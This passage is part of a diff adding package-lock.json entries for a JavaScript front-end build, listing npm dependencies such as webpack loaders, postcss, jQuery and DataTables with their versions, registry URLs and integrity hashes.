"sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30001173", + "colorette": "^1.2.1", + "electron-to-chromium": "^1.3.634", + "escalade": "^3.1.1", + "node-releases": "^1.1.69" + } + }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true + }, + "camelcase": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", + "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001176", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001176.tgz", + "integrity": "sha512-VWdkYmqdkDLRe0lvfJlZQ43rnjKqIGKHWhWWRbkqMsJIUaYDNf/K/sdZZcVO6YKQklubokdkJY+ujArsuJ5cag==", + "dev": true + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "colorette": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", + "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==", + "dev": true + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "css-loader": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.0.1.tgz", + "integrity": "sha512-cXc2ti9V234cq7rJzFKhirb2L2iPy8ZjALeVJAozXYz9te3r4eqLSixNAbMDJSgJEQywqXzs8gonxaboeKqwiw==", + "dev": true, + "requires": { + "camelcase": "^6.2.0", + "cssesc": "^3.0.0", + "icss-utils": "^5.0.0", + "loader-utils": "^2.0.0", + "postcss": "^8.1.4", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + } + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "datatables.net": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net/-/datatables.net-1.10.23.tgz", + "integrity": "sha512-we3tlNkzpxvgkKKlTxTMXPCt35untVXNg8zUYWpQyC1U5vJc+lT0+Zdc1ztK8d3lh5CfdnuFde2p8n3XwaGl3Q==", + "requires": { + "jquery": ">=1.7" + } + }, + "datatables.net-bs4": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net-bs4/-/datatables.net-bs4-1.10.23.tgz", + "integrity": "sha512-ChUB8t5t5uzPnJYTPXx2DOvnlm2shz8OadXrKoFavOadB308OuwHVxSldYq9+KGedCeiVxEjNqcaV4nFSXkRsw==", + "requires": { + "datatables.net": "1.10.23", + "jquery": ">=1.7" + } + }, + "datatables.net-select": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select/-/datatables.net-select-1.3.1.tgz", + "integrity": "sha512-PeVd/hlAX58QzL0+mGvxnXP7ylLtzZMeAots/uZkQi+6c/KI6JuP8LCJoEMHAsSjQM/BnG7Uw8E1YGOz1tZpQQ==", + "requires": { + "datatables.net": "^1.10.15", + "jquery": ">=1.7" + } + }, + "datatables.net-select-bs4": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select-bs4/-/datatables.net-select-bs4-1.3.1.tgz", + "integrity": "sha512-8UOBxChTsn24nP/ZOsIMGZOdTJymQZ8WcQ81NcGgyDz6b4JlsQl8Bwb89AcVT7hncMquPJ3d5WUGG4I9WMhAlw==", + "requires": { + "datatables.net-bs4": "^1.10.15", + "datatables.net-select": "1.3.1", + "jquery": ">=1.7" + } + }, + "electron-to-chromium": { + "version": "1.3.638", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.638.tgz", + "integrity": "sha512-vbTdlXeu3pAtPt0/T3+HVyX9bu6Lx/iXUYSWBCCRDI+JQiq48m6o4BnZPLBy40+4E0dLbt/Ix9VIJ/06XztfoA==", + "dev": true + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==" + }, + "enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + } + }, + "errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "es-module-lexer": { + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.3.26.tgz", + "integrity": "sha512-Va0Q/xqtrss45hWzP8CZJwzGSZJjDM5/MJRE3IXXnUCcVLElR9BRaE9F62BopysASyc4nM3uwhSW7FFB9nlWAA==", + "dev": true + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "requires": { + "estraverse": "^5.2.0" + }, + "dependencies": { + "estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true + } + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true + }, + "events": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.2.0.tgz", + "integrity": "sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg==", + "dev": true + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true + }, + "hammerjs": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", + "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true + }, + "indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + } + }, + "jquery": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.5.1.tgz", + "integrity": "sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==" + }, + "jquery-ui": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.12.1.tgz", + "integrity": "sha1-vLQEXI3QU5wTS8FIjN0+dop6nlE=" + }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json5": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", + "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "requires": { + "minimist": "^1.2.5" + } + }, + "keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==" + }, + "loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "dev": true + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + } + }, + "mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "dev": true + }, + "mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dev": true, + "requires": { + "mime-db": "1.45.0" + } + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "nanoid": { + "version": "3.1.20", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", + "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", + "dev": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node-releases": { + "version": "1.1.69", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.69.tgz", + "integrity": "sha512-DGIjo79VDEyAnRlfSqYTsy+yoHd2IOjJiKUozD2MV2D85Vso6Bug56mb9tT/fY5Urt0iqk01H7x+llAruDR2zA==", + "dev": true + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "picomatch": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", + "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", + "dev": true + }, + "pkg-dir": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz", + "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==", + "dev": true, + "requires": { + "find-up": "^5.0.0" + } + }, + "popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==" + }, + "postcss": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.2.4.tgz", + "integrity": "sha512-kRFftRoExRVXZlwUuay9iC824qmXPcQQVzAjbCCgjpXnkdMCJYBu2gTwAaFBzv8ewND6O8xFb3aELmEkh9zTzg==", + "dev": true, + "requires": { + "colorette": "^1.2.1", + "nanoid": "^3.1.20", + "source-map": "^0.6.1" + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true + }, + "postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0" + } + }, + "postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", + "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + 